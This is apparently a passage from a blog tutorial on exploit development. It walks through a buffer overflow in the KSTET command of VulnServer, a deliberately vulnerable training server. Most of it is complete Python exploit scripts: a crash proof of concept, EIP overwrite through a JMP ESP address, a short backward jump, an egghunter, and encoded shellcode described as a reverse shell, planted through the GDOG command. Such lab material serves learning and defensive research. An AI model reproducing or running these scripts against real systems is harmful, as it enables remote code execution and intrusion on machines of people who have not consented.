After fuzzing, we created a PoC python script.

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

buffer = "KSTET /.:/" + "A" * 5011

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

 

The value of EIP is 0x41414141. It is overwritten with our As. It is a simple buffer overflow exploit. (ESP points into the middle of the As buffer. See next picture.)

vulnserver26

 

However only 90 A characters are in the memory.

vulnserver25

This place is too small for a reverse shell, but enough for an egghunter. The egghunter is a small code which searches for a unique pattern (the egg) in the memory, and if it finds the pattern, the egghunter starts to execute the code after the unique pattern.

The exploit development steps are the same as in the previous cases:

  • We have to find the offset from where the EIP is overwritten.
  • Then we have to find an address. In our case JMP ESP is a good candidate as the ESP points into the middle of the As buffer.
  • We have 20 byte to jump to the beginning of the As buffer.
  • The egghunter should be placed right after the ‘KSTET /.:/’.
  • The reverse shell should be placed somehow into the memory with the egg.

I skip the first two points as I covered these topics in my previous posts. The PoC script after these steps:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999

# 62501205 from essfunc.dll	JMP ESP

buffer = "KSTET /.:/" + "A" * 66 + "\x05\x12\x50\x62" + "C" * (5011 - 66 - 4)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

 

1. Jump backward

We have 20 bytes to jump backward. (The 0x43 part of the memory.)

vulnserver27

 

 

The hex code of JMP SHORT instruction is 0xeb. The second byte tells us, how many bytes to jump. If this byte is lower than 0x80, it jumps forward. If the value is greater than or equal with 0x80, it jumps backward. Obviously it can jump no more than 127 byte.

We do not need to know the code if we use OllyDbg. Simply double click on the 0178f9e0 line and write in the box JMP SHORT and the address of the position where it should jump.

vulnserver28

Great! The two hex codes are 0xeb and 0xb8. Update the script with them and also add the egghunter code to it.

The updated code:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999


egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"


# 62501205 from essfunc.dll	JMP ESP

# eb b8		jmp short

buffer = "KSTET /.:/" + egghunter + "\xCC" * (66 - len(egghunter)) + "\x05\x12\x50\x62" + "\xeb\xb8" + "C" * (5011 - 66 - 4 - 2)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

The memory will look like this:

vulnserver29

The blue box is the egghunter code. The yellow box is the EIP address. The red box contains the short jump code, which jumps to the egghunter code.

 

2. Place shellcode with egghunter into the memory

We have a few command we can send to VulnServer. One of them might be good for our purpose and keeps the shellcode in memory. We update our code, so that it sends a command with a parameter, where the parameter is our shellcode with the egg. Then we send the KSTET command with our crafted buffer. When the buffer overflow is triggered, we search the memory for the egg. If we find it, then the command is good. This is a trial and error process.

GDOG command keeps the passed parameter in the memory. The updated shellcode:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.2.135"
port=9999


shellcode =  ""
shellcode += "\xdb\xd1\xd9\x74\x24\xf4\x5a\x2b\xc9\xbd\x0e\x55\xbd"
shellcode += "\x38\xb1\x52\x31\x6a\x17\x83\xc2\x04\x03\x64\x46\x5f"
shellcode += "\xcd\x84\x80\x1d\x2e\x74\x51\x42\xa6\x91\x60\x42\xdc"
shellcode += "\xd2\xd3\x72\x96\xb6\xdf\xf9\xfa\x22\x6b\x8f\xd2\x45"
shellcode += "\xdc\x3a\x05\x68\xdd\x17\x75\xeb\x5d\x6a\xaa\xcb\x5c"
shellcode += "\xa5\xbf\x0a\x98\xd8\x32\x5e\x71\x96\xe1\x4e\xf6\xe2"
shellcode += "\x39\xe5\x44\xe2\x39\x1a\x1c\x05\x6b\x8d\x16\x5c\xab"
shellcode += "\x2c\xfa\xd4\xe2\x36\x1f\xd0\xbd\xcd\xeb\xae\x3f\x07"
shellcode += "\x22\x4e\x93\x66\x8a\xbd\xed\xaf\x2d\x5e\x98\xd9\x4d"
shellcode += "\xe3\x9b\x1e\x2f\x3f\x29\x84\x97\xb4\x89\x60\x29\x18"
shellcode += "\x4f\xe3\x25\xd5\x1b\xab\x29\xe8\xc8\xc0\x56\x61\xef"
shellcode += "\x06\xdf\x31\xd4\x82\xbb\xe2\x75\x93\x61\x44\x89\xc3"
shellcode += "\xc9\x39\x2f\x88\xe4\x2e\x42\xd3\x60\x82\x6f\xeb\x70"
shellcode += "\x8c\xf8\x98\x42\x13\x53\x36\xef\xdc\x7d\xc1\x10\xf7"
shellcode += "\x3a\x5d\xef\xf8\x3a\x74\x34\xac\x6a\xee\x9d\xcd\xe0"
shellcode += "\xee\x22\x18\xa6\xbe\x8c\xf3\x07\x6e\x6d\xa4\xef\x64"
shellcode += "\x62\x9b\x10\x87\xa8\xb4\xbb\x72\x3b\x7b\x93\x7e\x39"
shellcode += "\x13\xe6\x7e\x2c\xb8\x6f\x98\x24\x50\x26\x33\xd1\xc9"
shellcode += "\x63\xcf\x40\x15\xbe\xaa\x43\x9d\x4d\x4b\x0d\x56\x3b"
shellcode += "\x5f\xfa\x96\x76\x3d\xad\xa9\xac\x29\x31\x3b\x2b\xa9"
shellcode += "\x3c\x20\xe4\xfe\x69\x96\xfd\x6a\x84\x81\x57\x88\x55"
shellcode += "\x57\x9f\x08\x82\xa4\x1e\x91\x47\x90\x04\x81\x91\x19"
shellcode += "\x01\xf5\x4d\x4c\xdf\xa3\x2b\x26\x91\x1d\xe2\x95\x7b"
shellcode += "\xc9\x73\xd6\xbb\x8f\x7b\x33\x4a\x6f\xcd\xea\x0b\x90"
shellcode += "\xe2\x7a\x9c\xe9\x1e\x1b\x63\x20\x9b\x2b\x2e\x68\x8a"
shellcode += "\xa3\xf7\xf9\x8e\xa9\x07\xd4\xcd\xd7\x8b\xdc\xad\x23"
shellcode += "\x93\x95\xa8\x68\x13\x46\xc1\xe1\xf6\x68\x76\x01\xd3"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

egg = "\x54\x30\x30\x57"	# 0x57303054


# 62501205 from essfunc.dll	JMP ESP

# eb b8		jmp short

buffer = "KSTET /.:/" + egghunter + "\xCC" * (66 - len(egghunter)) + "\x05\x12\x50\x62" + "\xeb\xb8" + "C" * (5011 - 66 - 4 - 2)

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))

expl.send("GDOG " + egg + egg + shellcode)
expl.recv(1024)

expl.send(buffer)
expl.close()

 

The memory can be searched in OllyDbg for a pattern. The memory where the our egg code resides:

vulnserver30